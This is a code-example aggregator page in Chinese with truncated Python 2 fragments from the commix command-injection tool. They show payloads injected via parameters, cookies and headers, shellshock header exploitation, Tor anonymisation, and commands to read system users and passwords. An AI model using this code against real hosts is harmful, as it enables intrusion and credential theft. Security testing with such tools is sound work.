本文整理汇总了Python中src.core.requests.tor.use_tor函数的典型用法代码示例。如果您正苦于以下问题:Python use_tor函数的具体用法?Python use_tor怎么用?Python use_tor使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了use_tor函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: injection
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
if alter_shell:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.cmd_execution(separator, TAG, cmd)
if separator == " ":
payload = re.sub(" ", "%20", payload)
else:
payload = re.sub(" ", whitespace, payload)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
else:
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
url = parameters.do_GET_check(url)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = "".join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
else:
开发者ID:MajorD4m4ge,项目名称:commix,代码行数:60,代码来源:cb_injector.py
示例2: injection_test
def injection_test(payload, http_request_method, url):
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
url = parameters.do_GET_check(url)
# Encoding non-ASCII characters payload.
payload = urllib.quote(payload)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = re.sub(settings.INJECT_TAG, payload, url)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
开发者ID:evilrovot,项目名称:commix,代码行数:35,代码来源:fb_injector.py
示例3: injection
def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
# Execute shell commands on vulnerable host.
if alter_shell :
payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
else:
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
url = parameters.do_GET_check(url)
# Encoding non-ASCII characters payload.
payload = urllib.quote(payload)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = ''.join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
else:
开发者ID:MajorD4m4ge,项目名称:commix,代码行数:57,代码来源:fb_injector.py
示例4: injection
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter):
# Execute shell commands on vulnerable host.
payload = eb_payloads.cmd_execution(separator, TAG, cmd)
payload = re.sub(" ", "%20", payload)
# Check if defined "--prefix" option.
if menu.options.prefix:
prefix = menu.options.prefix
payload = prefix + payload
else:
payload = prefix + payload
# Check if defined "--suffix" option.
if menu.options.suffix:
suffix = menu.options.suffix
payload = payload + suffix
else:
payload = payload + suffix
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
url = parameters.do_GET_check(url)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = ''.join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
raise SystemExit()
开发者ID:bupt007,项目名称:commix,代码行数:51,代码来源:eb_injector.py
示例5: check_for_shell
def check_for_shell(url, cmd, cve, check_header, filename):
try:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
payload = shellshock_exploitation(cve, cmd)
info_msg = "Executing the '" + cmd + "' command... "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_info_msg(info_msg))
elif settings.VERBOSITY_LEVEL > 1:
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL >= 1:
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
header = {check_header : payload}
request = urllib2.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
else:
menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = urllib2.urlopen(request)
shell = response.read().rstrip().replace('\n',' ')
shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
shell = ''.join(shell)
return shell, payload
except urllib2.URLError, err_msg:
print "\n" + settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:security-geeks,项目名称:commix,代码行数:39,代码来源:shellshock.py
示例6: SystemExit
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
response = False
except urllib2.URLError, err:
if "Connection refused" in err.reason:
err_msg = "The target host is not responding."
err_msg += " Please ensure that is up and try again."
print "\n" + settings.print_critical_msg(err_msg)
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
if settings.IGNORE_ERR_MSG == False:
print settings.print_error_msg(err)
continue_tests = checks.continue_tests(err)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
response = False
except urllib2.URLError, err:
if "Connection refused" in err.reason:
err_msg = "The target host is not responding."
err_msg += " Please ensure that is up and try again."
print "\n" + settings.print_critical_msg(err_msg)
raise SystemExit()
开发者ID:jamesshew,项目名称:commix,代码行数:31,代码来源:fb_injector.py
示例7: main
#.........这里部分代码省略.........
output_dir = settings.OUTPUT_DIR
dir = os.path.dirname(output_dir)
try:
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
sys.stdout.write(settings.INFO_SIGN + "Checking connection to the target URL... ")
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = urllib2.urlopen(request)
except:
raise
html_data = response.read()
content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
try:
if response.info()['server'] :
server_banner = response.info()['server']
found_os_server = False
for i in range(0,len(settings.SERVER_OS_BANNERS)):
if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
found_os_server = True
settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" :
identified_os = "Windows"
settings.TARGET_OS = identified_os[:3].lower()
if menu.options.shellshock:
print Back.RED + settings.CRITICAL_SIGN + "The shellshock module is not available for " + identified_os + " tagets." + Style.RESET_ALL
raise SystemExit()
else:
identified_os = "Unix-like (" + settings.TARGET_OS + ")"
found_server_banner = False
for i in range(0,len(settings.SERVER_BANNERS)):
if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
if menu.options.verbose:
print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
settings.SERVER_BANNER = server_banner
found_server_banner = True
开发者ID:DTherHtun,项目名称:commix,代码行数:67,代码来源:commix.py
示例8: main
#.........这里部分代码省略.........
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
info_msg = "Checking connection to the target URL... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
try:
response = urllib2.urlopen(request)
except ValueError:
# Invalid format for the '--headers' option.
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
err_msg += "to provide an HTTP header or"
err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print settings.print_critical_msg(err_msg)
sys.exit(0)
except:
raise
html_data = content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Used a valid pair of valid credentials
if menu.options.auth_cred:
success_msg = Style.BRIGHT + "Identified a valid pair of credentials '"
success_msg += menu.options.auth_cred + Style.RESET_ALL
success_msg += Style.BRIGHT + "'." + Style.RESET_ALL
print settings.print_success_msg(success_msg)
try:
if response.info()['server'] :
server_banner = response.info()['server']
found_os_server = False
开发者ID:brianwrf,项目名称:commix,代码行数:67,代码来源:commix.py
示例9: injection
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename):
# Execute shell commands on vulnerable host.
payload = eb_payloads.cmd_execution(separator, TAG, cmd)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Fixation for specific payload.
if ")%3B" + urllib.quote(")}") in payload:
payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
if menu.options.base64:
payload = urllib.unquote(payload)
payload = base64.b64encode(payload)
else:
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
response = referer_injection_test(url, vuln_parameter, payload)
else:
# Check if defined method is GET (Default).
if http_request_method == "GET":
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = ''.join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
raise SystemExit()
else:
开发者ID:0x0mar,项目名称:commix,代码行数:64,代码来源:eb_injector.py
示例10: injection
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):
if menu.options.file_write or menu.options.file_upload:
minlen = 0
else:
minlen = 1
found_chars = False
sys.stdout.write("\n(*) Retrieving the length of execution output... ")
sys.stdout.flush()
for output_length in range(int(minlen), int(maxlen)):
if alter_shell:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
else:
# Execute shell commands on vulnerable host.
payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
else:
start = 0
end = 0
start = time.time()
# Check if defined method is GET (Default).
if http_request_method == "GET":
payload = urllib.quote(payload)
# Check if its not specified the 'INJECT_HERE' tag
url = parameters.do_GET_check(url)
target = re.sub(settings.INJECT_TAG, payload, url)
vuln_parameter = ''.join(vuln_parameter)
request = urllib2.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
try:
response = proxy.use_proxy(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
raise SystemExit()
# Check if defined Tor.
elif menu.options.tor:
try:
response = tor.use_tor(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
raise SystemExit()
else:
try:
response = urllib2.urlopen(request)
except urllib2.HTTPError, err:
print "\n" + Back.RED + "(x) Error : " + str(err) + Style.RESET_ALL
raise SystemExit()
开发者ID:azizjonm,项目名称:commix,代码行数:73,代码来源:tb_injector.py
示例11: main
#.........这里部分代码省略.........
try:
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
sys.stdout.write(settings.INFO_SIGN + "Checking connection to the target URL... ")
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
try:
response = urllib2.urlopen(request)
except ValueError:
# Invalid format for the '--headers' option.
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
error_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' to provide an HTTP header or '--headers=\"HEADER_NAME:" + settings.INJECT_TAG + "\"' if you want to try to exploit the provided HTTP header."
print Back.RED + settings.ERROR_SIGN + error_msg + Style.RESET_ALL
sys.exit(0)
except:
raise
html_data = response.read()
content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
# Used a valid pair of valid credentials
if menu.options.auth_cred:
print Style.BRIGHT + "(!) Identified a valid pair of credentials '" + Style.UNDERLINE + menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." + Style.RESET_ALL
try:
if response.info()['server'] :
server_banner = response.info()['server']
found_os_server = False
if menu.options.os and checks.user_defined_os():
user_defined_os = settings.TARGET_OS
for i in range(0,len(settings.SERVER_OS_BANNERS)):
if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
found_os_server = True
settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
开发者ID:Reality9,项目名称:commix,代码行数:67,代码来源:commix.py
示例12: main
#.........这里部分代码省略.........
# If URL not starts with any URI scheme, add "http://"
if not urlparse.urlparse(url).scheme:
url = "http://" + url
if menu.options.output_dir:
output_dir = menu.options.output_dir
else:
output_dir = settings.OUTPUT_DIR
dir = os.path.dirname(output_dir)
try:
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
request = urllib2.Request(url)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
sys.stdout.write("(*) Checking connection to the target URL... ")
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = urllib2.urlopen(request)
except:
raise
html_data = response.read()
content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
try:
if response.info()['server'] :
server_banner = response.info()['server']
found_server_banner = False
for i in range(0,len(settings.SERVER_BANNERS)):
if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
if menu.options.verbose:
print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
settings.SERVER_BANNER = server_banner
found_server_banner = True
# Set up default root paths
if settings.SERVER_BANNERS[i].lower() == "apache":
settings.SRV_ROOT_DIR = "/var/www"
if settings.SERVER_BANNERS[i].lower() == "nginx":
settings.SRV_ROOT_DIR = "/usr/share/nginx"
break
if found_server_banner != True:
print Fore.YELLOW + "(^) Warning: The server which was identified as " + server_banner + " seems unknown." + Style.RESET_ALL
except KeyError:
pass
# Charset detection [1].
# [1] http://www.w3schools.com/html/html_charset.asp
# Check if HTML4 format
开发者ID:essobi,项目名称:commix,代码行数:67,代码来源:commix.py
示例13: shellshock_handler
def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
info_msg = "Testing the " + technique + "... "
if settings.VERBOSITY_LEVEL > 1:
info_msg = info_msg + "\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
i = 0
total = len(shellshock_cves) * len(headers)
for cve in shellshock_cves:
for check_header in headers:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
attack_vector = "echo " + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write("\n" + settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
header = {check_header : payload}
request = urllib2.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
else:
menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = urllib2.urlopen(request)
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
no_result = False
elif len(response.info()) > 0 and cve in response.info():
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
no_result = False
elif len(response.read()) > 0 and cve in response.read():
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
no_result = False
else:
percent = str(float_percent )+ "%"
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if no_result == False:
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
the_type = " " + vuln_parameter
check_header = " " + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL >= 1:
checks.total_of_requests()
success_msg = "The (" + check_header + ") '"
success_msg += url + Style.RESET_ALL + Style.BRIGHT
success_msg += "' seems vulnerable via " + technique + "."
if settings.VERBOSITY_LEVEL <= 1:
#.........这里部分代码省略.........
开发者ID:security-geeks,项目名称:commix,代码行数:101,代码来源:shellshock.py
示例14: examine_request
def examine_request(request):
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
return proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
return tor.use_tor(request)
else:
try:
return urllib2.urlopen(request)
except SocketError as e:
if e.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print settings.print_critical_msg(error_msg)
elif e.errno == errno.WSAECONNRESET:
error_msg = "An existing connection was forcibly closed by the remote host."
print settings.print_critical_msg(error_msg)
raise SystemExit()
except ValueError:
# Invalid format for the '--header' option.
if settings.VERBOSITY_LEVEL < 2:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
err_msg += "to provide an extra HTTP header or"
err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print settings.print_critical_msg(err_msg)
raise SystemExit()
except Exception as err_msg:
if "Unauthorized" in str(err_msg):
if menu.options.ignore_401:
pass
elif menu.options.auth_type and menu.options.auth_cred:
err_msg = "The provided pair of " + menu.options.auth_type
err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
err_msg += " seems to be invalid."
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg).replace(": "," (") + ")."
print settings.print_critical_msg(error_msg)
raise SystemExit()
except urllib2.HTTPError, err_msg:
error_description = ""
if len(str(err_msg).split(": ")[1]) == 0:
error_description = "Non-standard HTTP status code"
err_msg = str(err_msg).replace(": "," (") + error_description + ")."
if menu.options.bulkfile:
warn_msg = "Skipping URL '" + url + "' - " + err_msg
print settings.print_warning_msg(warn_msg)
if settings.EOF:
print ""
return False
else:
print settings.print_critical_msg(err_msg)
raise SystemExit
开发者ID:security-geeks,项目名称:commix,代码行数:62,代码来源:main.py
示例15: main
#.........这里部分代码省略.........
os.stat(output_dir)
except:
os.mkdir(output_dir)
# The logs filename construction.
filename = logs.create_log_file(url, output_dir)
try:
# Check if defined POST data
if menu.options.data:
request = urllib2.Request(url, menu.options.data)
else:
request = urllib2.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
proxy.do_check(url)
# Check if defined Tor (--tor option).
elif menu.options.tor:
tor.do_check()
info_msg = "Checking connection to the target URL... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
try:
response = urllib2.urlopen(request)
except ValueError:
# Invalid format for the '--headers' option.
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
err_msg += "to provide an HTTP header or"
err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
err_msg += "if you want to try to exploit the provided HTTP header."
print settings.print_critical_msg(err_msg)
sys.exit(0)
except:
raise
html_data = content = response.read()
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
# Check for CGI scripts on url
checks.check_CGI_scripts(url)
# Modification on payload
if not menu.options.shellshock:
#settings.CURRENT_USER = "echo $(" + settings.CURRENT_USER + ")"
settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"
# Check if defined "--file-upload" option.
if menu.options.file_upload:
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
# Check if not defined URL for upload.
while True:
开发者ID:dtrip,项目名称:commix,代码行数:67,代码来源:commix.py
注:本文中的src.core.requests.tor.use_tor函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论